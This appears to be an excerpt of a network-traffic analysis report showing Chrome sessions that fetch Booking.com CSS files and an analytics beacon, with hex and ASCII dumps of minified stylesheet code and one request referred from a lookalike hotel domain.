2024-07-08 22:43:40 UTC	2048	IN	Data Raw: 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 32 78 29 2a 2d 31 29 29 7d 2e 6e 4b 36 43 72 45 30 70 54 66 5f 46 63 43 77 4d 47 59 69 70 2e 42 4c 4c 61 69 43 55 70 6f 59 46 66 4c 37 65 33 4c 57 50 49 2c 2e 6e 4b 36 43 72 45 30 70 54 66 5f 46 63 43 77 4d 47 59 69 70 2e 4a 74 71 6a 44 76 41 31 75 79 42 45 53 58 5a 34 58 73 79 4e 2c 2e 6e 4b 36 43 72 45 30 70 54 66 5f 46 63 43 77 4d 47 59 69 70 2e 63 54 61 5a 5a 52 36 4f 51 71 51 77 4f 56 62 74 30 44 74 43 2c 2e 6e 4b 36 43 72 45 30 70 54 66 5f 46 63 43 77 4d 47 59 69 70 2e 6e 46 51 41 59 56 75 32 56 5a 30 55 47 4e 4e 42 61 34 62 34 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 29 7d 2e 6e 4b 36 43 72 45 30 70 54 66 5f 46 63 43 Data Ascii: (--bui_spacing_2x)*-1))}.nK6CrE0pTf_FcCwMGYip.BLLaiCUpoYFfL7e3LWPI,.nK6CrE0pTf_FcCwMGYip.JtqjDvA1uyBESXZ4XsyN,.nK6CrE0pTf_FcCwMGYip.cTaZZR6OQqQwOVbt0DtC,.nK6CrE0pTf_FcCwMGYip.nFQAYVu2VZ0UGNNBa4b4{transform:translateY(var(--bui_spacing_4x))}.nK6CrE0pTf_FcC
2024-07-08 22:43:40 UTC	16384	IN	Data Raw: 61 72 28 2d 2d 62 75 69 2d 66 6c 79 6f 75 74 2d 61 72 72 6f 77 2d 73 68 61 64 6f 77 29 3b 7a 2d 69 6e 64 65 78 3a 2d 31 7d 2e 47 79 74 58 74 65 67 5a 6c 6f 76 39 47 62 67 73 65 66 77 7a 3e 73 70 61 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 2e 47 79 74 58 74 65 67 5a 6c 6f 76 39 47 62 67 73 65 66 77 7a 3e 73 70 61 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6c 65 66 74 3a 35 30 25 3b 72 69 67 68 74 3a 61 75 74 6f 3b 74 6f 70 3a 31 30 30 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 35 30 25 29 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 35 30 25 29 20 72 6f 74 61 74 65 28 2d 34 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 63 65 6e 74 65 72 7d 2e 43 67 5a 55 78 43 4c 69 51 71 49 42 63 7a 73 65 53 62 56 38 3e 73 70 61 Data Ascii: ar(--bui-flyout-arrow-shadow);z-index:-1}.GytXtegZlov9Gbgsefwz>span:first-child,.GytXtegZlov9Gbgsefwz>span:last-child{left:50%;right:auto;top:100%;transform:translateX(-50%) translateY(-50%) rotate(-45deg);transform-origin:center}.CgZUxCLiQqIBczseSbV8>spa
2024-07-08 22:43:40 UTC	16384	IN	Data Raw: 63 69 6e 67 5f 31 78 29 2a 33 32 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 75 69 5f 66 6f 6e 74 5f 68 65 61 64 6c 69 6e 65 5f 31 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 3b 77 69 64 74 68 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 2a 33 32 29 7d 7d 2e 54 6d 48 38 4a 56 56 56 4e 33 6c 78 58 6e 57 58 55 68 7a 41 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 29 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 64 65 73 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 29 7d 2e 57 78 30 59 45 70 6f 34 45 77 53 77 34 68 61 46 51 70 51 43 7b 62 61 63 Data Ascii: cing_1x)32);line-height:var(--bui_font_headline_1_line-height);width:calc(var(--bui_spacing_1x)32)}}.TmH8JVVVN3lxXnWXUhzA{background-color:var(--bui_color_destructive_background);color:var(--bui_color_on_destructive_background)}.Wx0YEpo4EwSw4haFQpQC{bac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49851	18.66.196.62	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:39 UTC	585	OUT	GET /psb/accountsportal/assets/551_8e0f43f6ce9d2e229cb8.css HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:39 UTC	671	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 271865 Connection: close Date: Mon, 08 Jul 2024 22:43:40 GMT Last-Modified: Mon, 08 Jul 2024 13:49:03 GMT ETag: "bb8ceb6de36112ba44b0b5cfe1f28976" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 8db752c7c72f91c885c8ab01fff7d99ff1d0049193bc1c1d169b5719f9063814 x-amz-version-id: bUb.ppEu4K8bxh4e1dG4FwwSNw3YBYN0 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 de82131bd5578df1118deee986556720.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP63-P1 X-Amz-Cf-Id: TbmbohYb3SoaTvgip4Gmwd6kjvPtDqle9tjXSP-Bc57-72560jt_oQ== Vary: Origin
2024-07-08 22:43:39 UTC	1393	IN	Data Raw: 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 37 35 70 78 29 7b 2e 46 62 54 4d 58 6f 4e 71 59 57 6b 77 37 49 34 79 62 4b 67 43 7b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 73 74 61 72 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 2a 2d 31 29 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 65 6e 64 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 2a 2d 31 29 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 73 74 61 72 74 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 65 6e 64 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 30 21 69 6d Data Ascii: @media (max-width:575px){.FbTMXoNqYWkw7I4ybKgC{-webkit-margin-start:calc(var(--bui_spacing_4x)-1)!important;-webkit-margin-end:calc(var(--bui_spacing_4x)-1)!important;-webkit-border-start:0!important;-webkit-border-end:0!important;border-inline-end:0!im
2024-07-08 22:43:39 UTC	16384	IN	Data Raw: 37 61 2e 76 48 68 5a 37 33 76 53 64 67 68 79 5a 5f 74 37 4b 43 70 42 2c 2e 6a 5a 54 38 58 46 47 32 46 44 4a 75 39 68 51 57 36 79 37 61 2e 77 4e 39 48 6f 35 6c 44 5f 46 64 37 4d 76 46 6f 4c 47 61 62 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 29 7d 2e 6a 5a 54 38 58 46 47 32 46 44 4a 75 39 68 51 57 36 79 37 61 2e 57 6b 36 6e 74 4d 30 78 76 57 32 72 5a 43 69 73 4c 31 59 51 2e 69 5a 73 48 58 42 38 42 64 64 6a 72 55 49 38 43 37 65 75 68 2c 2e 6a 5a 54 38 58 46 47 32 46 44 4a 75 39 68 51 57 36 79 37 61 2e 67 75 32 4d 75 76 67 68 54 68 41 4f 71 36 52 69 65 33 44 4b 2e 69 5a 73 48 58 42 38 42 64 64 6a 72 55 49 38 43 37 65 75 68 2c 2e 6a 5a 54 38 58 46 47 32 46 44 4a 75 39 68 51 Data Ascii: 7a.vHhZ73vSdghyZ_t7KCpB,.jZT8XFG2FDJu9hQW6y7a.wN9Ho5lD_Fd7MvFoLGab{transform:translateY(var(--bui_spacing_4x))}.jZT8XFG2FDJu9hQW6y7a.Wk6ntM0xvW2rZCisL1YQ.iZsHXB8BddjrUI8C7euh,.jZT8XFG2FDJu9hQW6y7a.gu2MuvghThAOq6Rie3DK.iZsHXB8BddjrUI8C7euh,.jZT8XFG2FDJu9hQ
2024-07-08 22:43:39 UTC	1024	IN	Data Raw: 58 46 66 37 39 52 4b 6e 65 6c 6e 29 3a 68 6f 76 65 72 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 74 61 5f 68 69 67 68 6c 69 67 68 74 65 64 29 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 74 61 5f 68 69 67 68 6c 69 67 68 74 65 64 29 7d 7d 2e 48 50 79 6d 59 4e 71 56 46 37 75 71 48 30 6b 5a 35 42 58 31 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 64 65 73 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 29 7d 2e 48 50 79 6d 59 4e 71 56 46 37 75 71 48 30 6b 5a 35 42 58 31 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 Data Ascii: XFf79RKneln):hover:before{background-color:var(--bui_color_cta_highlighted);border-color:var(--bui_color_cta_highlighted)}}.HPymYNqVF7uqH0kZ5BX1{color:var(--bui_color_on_destructive_background)}.HPymYNqVF7uqH0kZ5BX1:before{background-color:var(--bui_color
2024-07-08 22:43:39 UTC	15360	IN	Data Raw: 48 67 63 77 68 48 6c 71 4f 53 45 35 46 74 65 6b 6c 5b 64 69 73 61 62 6c 65 64 5d 3a 61 63 74 69 76 65 2c 2e 76 65 6c 48 67 63 77 68 48 6c 71 4f 53 45 35 46 74 65 6b 6c 5b 64 69 73 61 62 6c 65 64 5d 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 66 6f 72 65 67 72 6f 75 6e 64 5f 64 69 73 61 62 6c 65 64 29 3b 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 6c 6f 77 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 76 65 6c 48 67 63 77 68 48 6c 71 4f 53 45 35 46 74 65 6b 6c 5b 64 69 73 61 62 6c 65 64 5d 3a 61 63 74 69 76 65 3a 62 65 66 6f 72 65 2c 2e 76 65 6c 48 67 63 77 68 48 6c 71 4f 53 45 35 46 74 65 6b 6c 5b 64 69 73 61 62 6c 65 64 5d 3a 62 65 66 6f 72 65 2c 2e 76 65 6c 48 67 63 77 68 48 6c 71 4f 53 Data Ascii: HgcwhHlqOSE5Ftekl[disabled]:active,.velHgcwhHlqOSE5Ftekl[disabled]:hover{color:var(--bui_color_foreground_disabled);cursor:not-allowed;text-decoration:none}.velHgcwhHlqOSE5Ftekl[disabled]:active:before,.velHgcwhHlqOSE5Ftekl[disabled]:before,.velHgcwhHlqOS
2024-07-08 22:43:39 UTC	16384	IN	Data Raw: 6e 67 5f 31 78 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 33 78 29 20 2b 20 76 61 72 28 2d 2d 62 75 69 5f 62 75 74 74 6f 6e 5f 69 6e 6c 69 6e 65 5f 70 61 64 64 69 6e 67 5f 65 78 74 72 61 2c 20 30 70 78 29 29 7d 2e 70 58 4f 32 7a 74 37 4a 37 46 52 43 41 6a 6c 6a 45 4b 67 77 7b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 62 65 66 6f 72 65 3a 76 61 72 28 2d 2d 62 75 69 5f 62 75 74 74 6f 6e 5f 6c 61 72 67 65 5f 6d 61 72 67 69 6e 5f 62 6c 6f 63 6b 5f 73 74 61 72 74 2c 69 6e 69 74 69 61 6c 29 3b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 61 66 74 65 72 3a 76 61 72 28 2d 2d 62 75 69 5f 62 75 74 74 6f 6e 5f 6c 61 72 67 65 5f 6d 61 72 67 69 6e 5f 62 6c 6f 63 6b 5f 65 6e 64 2c 69 6e 69 74 69 61 6c 29 3b 2d 77 65 62 6b 69 74 2d 6d Data Ascii: ng_1x) calc(var(--bui_spacing_3x) + var(--bui_button_inline_padding_extra, 0px))}.pXO2zt7J7FRCAjljEKgw{-webkit-margin-before:var(--bui_button_large_margin_block_start,initial);-webkit-margin-after:var(--bui_button_large_margin_block_end,initial);-webkit-m
2024-07-08 22:43:39 UTC	1024	IN	Data Raw: 67 61 70 5f 6c 61 73 74 5f 63 68 69 6c 64 2c 76 61 72 28 2d 2d 62 75 69 5f 73 74 61 63 6b 5f 67 61 70 2c 69 6e 69 74 69 61 6c 29 0a 20 20 20 20 29 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 30 7d 2e 48 36 6d 62 46 45 48 38 4b 63 34 62 56 53 33 46 54 45 4d 4c 3e 3a 6e 74 68 2d 63 68 69 6c 64 28 6e 29 2c 2e 4c 6a 77 30 66 32 66 75 75 50 76 4c 6f 4d 4c 33 48 69 4e 52 3e 3a 6e 74 68 2d 63 68 69 6c 64 28 6e 29 7b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 61 66 74 65 72 3a 69 6e 69 74 69 61 6c 3b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 62 65 66 6f 72 65 3a 76 61 72 28 2d 2d 62 75 69 5f 73 74 61 63 6b 5f 67 61 70 2c 69 6e 69 74 69 61 6c 29 3b 2d 77 65 62 6b 69 74 2d 6d 61 72 Data Ascii: gap_last_child,var(--bui_stack_gap,initial) );margin-inline-end:0;margin-inline-start:0}.H6mbFEH8Kc4bVS3FTEML>:nth-child(n),.Ljw0f2fuuPvLoML3HiNR>:nth-child(n){-webkit-margin-after:initial;-webkit-margin-before:var(--bui_stack_gap,initial);-webkit-mar
2024-07-08 22:43:40 UTC	16384	IN	Data Raw: 61 73 74 5f 63 68 69 6c 64 3a 30 70 78 7d 2e 65 4a 43 68 49 67 63 6a 49 45 62 32 41 6c 67 4a 6d 79 49 39 3e 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 2e 72 35 51 55 36 64 45 57 76 5f 7a 31 41 54 57 7a 4f 73 45 59 3e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 2d 2d 62 75 69 5f 73 74 61 63 6b 5f 67 61 70 5f 6c 61 73 74 5f 63 68 69 6c 64 3a 69 6e 69 74 69 61 6c 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 48 62 71 58 45 6b 35 55 68 62 71 73 59 74 48 48 64 5a 58 55 3e 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 2e 67 49 64 35 62 69 75 55 32 4a 79 68 6d 6e 46 7a 4a 77 67 44 3e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 2d 2d 62 75 69 5f 73 74 61 63 6b 5f 67 61 70 5f 6c 61 73 74 5f 63 68 69 6c 64 3a 30 70 78 7d 2e 54 6f 42 74 75 6e 42 78 63 38 55 57 42 Data Ascii: ast_child:0px}.eJChIgcjIEb2AlgJmyI9>:last-child,.r5QU6dEWv_z1ATWzOsEY>:last-child{--bui_stack_gap_last_child:initial}@media (min-width:576px){.HbqXEk5UhbqsYtHHdZXU>:last-child,.gId5biuU2JyhmnFzJwgD>:last-child{--bui_stack_gap_last_child:0px}.ToBtunBxc8UWB
2024-07-08 22:43:40 UTC	16384	IN	Data Raw: 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 32 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 7d 2e 50 52 34 33 53 36 72 77 76 55 6f 51 6c 37 67 36 36 33 5a 78 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 33 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 33 5f 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f Data Ascii: --DO_NOT_USE_bui_large_font_display_2_line-height)}.PR43S6rwvUoQl7g663Zx{font-family:var(--DO_NOT_USE_bui_large_font_display_3_font-family);font-size:var(--DO_NOT_USE_bui_large_font_display_3_font-size);font-weight:var(--DO_NOT_USE_bui_large_font_display_
2024-07-08 22:43:40 UTC	2048	IN	Data Raw: 52 34 58 67 4d 30 7b 2d 2d 5f 62 75 69 5f 62 6f 78 5f 70 61 64 64 69 6e 67 2d 2d 78 6c 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 2a 76 61 72 28 2d 2d 62 75 69 5f 62 6f 78 5f 70 61 64 64 69 6e 67 2d 2d 78 6c 29 29 7d 7d 2e 7a 67 33 38 6e 38 47 77 43 33 79 4e 30 65 47 69 61 48 30 66 7b 62 6f 72 64 65 72 3a 76 61 72 28 2d 2d 62 75 69 5f 62 6f 72 64 65 72 5f 77 69 64 74 68 5f 31 30 30 29 20 73 6f 6c 69 64 7d 2e 44 79 50 61 73 6b 53 78 46 46 61 5a 6d 66 5a 79 42 38 5f 41 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 76 61 72 28 2d 2d 62 75 69 5f 62 6f 72 64 65 72 5f 72 61 64 69 75 73 5f 31 30 30 29 7d 2e 58 70 4d 6d 4f 72 43 4c 62 53 51 78 34 4e 6d 53 30 7a 41 49 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 76 61 72 28 2d Data Ascii: R4XgM0{--_bui_box_padding--xl:calc(var(--bui_spacing_1x)*var(--bui_box_padding--xl))}}.zg38n8GwC3yN0eGiaH0f{border:var(--bui_border_width_100) solid}.DyPaskSxFFaZmfZyB8_A{border-radius:var(--bui_border_radius_100)}.XpMmOrCLbSQx4NmS0zAI{border-radius:var(-
2024-07-08 22:43:40 UTC	16384	IN	Data Raw: 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 29 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 62 61 63 6b 67 72 6f 75 6e 64 29 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 62 57 30 61 5a 68 4b 62 31 4c 49 47 46 53 4f 71 30 36 75 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 61 6c 74 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 Data Ascii: :var(--bui_color_background);box-sizing:border-box;color:var(--bui_color_on_background);display:flex;justify-content:center;position:relative;text-transform:uppercase}.bW0aZhKb1LIGFSOq06ui{background-color:var(--bui_color_background_alt);background-positi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49854	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:39 UTC	1273	OUT	GET /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM&je=3a343626246a6163353126606a7b63673d273f42253a3278767b70677b2730302533432d3f422532306d6f757b652530302d334332352d37442d324b273032727c7b72672532302d3b412532307063253a322535462e626a7360633d253d422d374025303a6d27303225304b30303535273243253a32766b7161626e65273a32253d442d304125374a2730307625303a2d324338323536253a432530302d323025374c25324b253d402732307a2730302532413038363825304325323a253230273d442732412d35422d323a6d2732302d30413a30363a2d3a432532306869646c656e27303a253744273d44266a687b60695f6b6666677a3d35 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:39 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:39 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49850	18.66.196.62	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:39 UTC	584	OUT	GET /psb/accountsportal/assets/57_21f66738ac9c52ae5b72.css HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:39 UTC	670	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 20716 Connection: close Date: Mon, 08 Jul 2024 22:43:40 GMT Last-Modified: Mon, 08 Jul 2024 13:49:03 GMT ETag: "104e98c3f2411b1ceb03af2dcccd8ade" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 8db752c7c72f91c885c8ab01fff7d99ff1d0049193bc1c1d169b5719f9063814 x-amz-version-id: Bsg9MRQDYx95ZVOSSmB9r1L9yZt.m0VL Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 57f8df56d17da4233b9f940b147a5018.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP63-P1 X-Amz-Cf-Id: 8sbpL-rIp2Zft3L5Y9nBA-MSv3YP5romr5h0u-fQ3tESmewVleABog== Vary: Origin
2024-07-08 22:43:39 UTC	8349	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 73 6c 6f 77 2d 69 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 30 2e 32 2c 31 29 3b 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 73 6c 6f 77 2d 6f 75 74 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 34 2c 30 2c 31 2c 31 29 3b 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 73 6c 6f 77 2d 69 6e 2d 6f 75 74 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 34 2c 30 2c 30 2e 32 2c 31 29 3b 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 73 75 62 74 6c 65 2d 69 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 30 2e 32 2c 31 29 3b 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 73 75 62 74 6c 65 2d 6f 75 74 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 34 2c 30 2c 31 2c 31 29 3b 2d 2d 62 75 69 5f 65 61 73 69 6e 67 Data Ascii: :root{--bui_easing-slow-in:cubic-bezier(0,0,0.2,1);--bui_easing-slow-out:cubic-bezier(0.4,0,1,1);--bui_easing-slow-in-out:cubic-bezier(0.4,0,0.2,1);--bui_easing-subtle-in:cubic-bezier(0,0,0.2,1);--bui_easing-subtle-out:cubic-bezier(0.4,0,1,1);--bui_easing
2024-07-08 22:43:39 UTC	9000	IN	Data Raw: 2d 63 6f 64 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 6e 6c 69 6e 65 2d 73 65 6e 64 2d 63 6f 64 65 2d 62 74 6e 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 30 3b 74 6f 70 3a 76 61 72 28 2d 2d 62 75 69 5f 75 6e 69 74 5f 6c 61 72 67 65 72 29 3b 7a 2d 69 6e 64 65 78 3a 36 7d 2e 61 63 63 65 73 73 2d 70 61 6e 65 6c 5f 5f 73 6f 63 69 61 6c 2d 64 69 76 69 64 65 72 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 6d 61 72 67 69 6e 3a 30 7d 2e 61 63 63 65 73 73 2d 70 61 6e 65 6c 5f 5f 73 6f 63 69 61 6c 20 2e 61 63 63 65 73 73 2d 70 61 6e 65 6c 5f 5f 73 6f 63 69 61 6c 2d 64 69 76 69 64 65 72 7b 6d 61 72 67 Data Ascii: -code{position:relative}.inline-send-code-btn{position:absolute;right:0;top:var(--bui_unit_larger);z-index:6}.access-panel__social-divider{align-items:center;display:flex;flex-direction:row;margin:0}.access-panel__social .access-panel__social-divider{marg
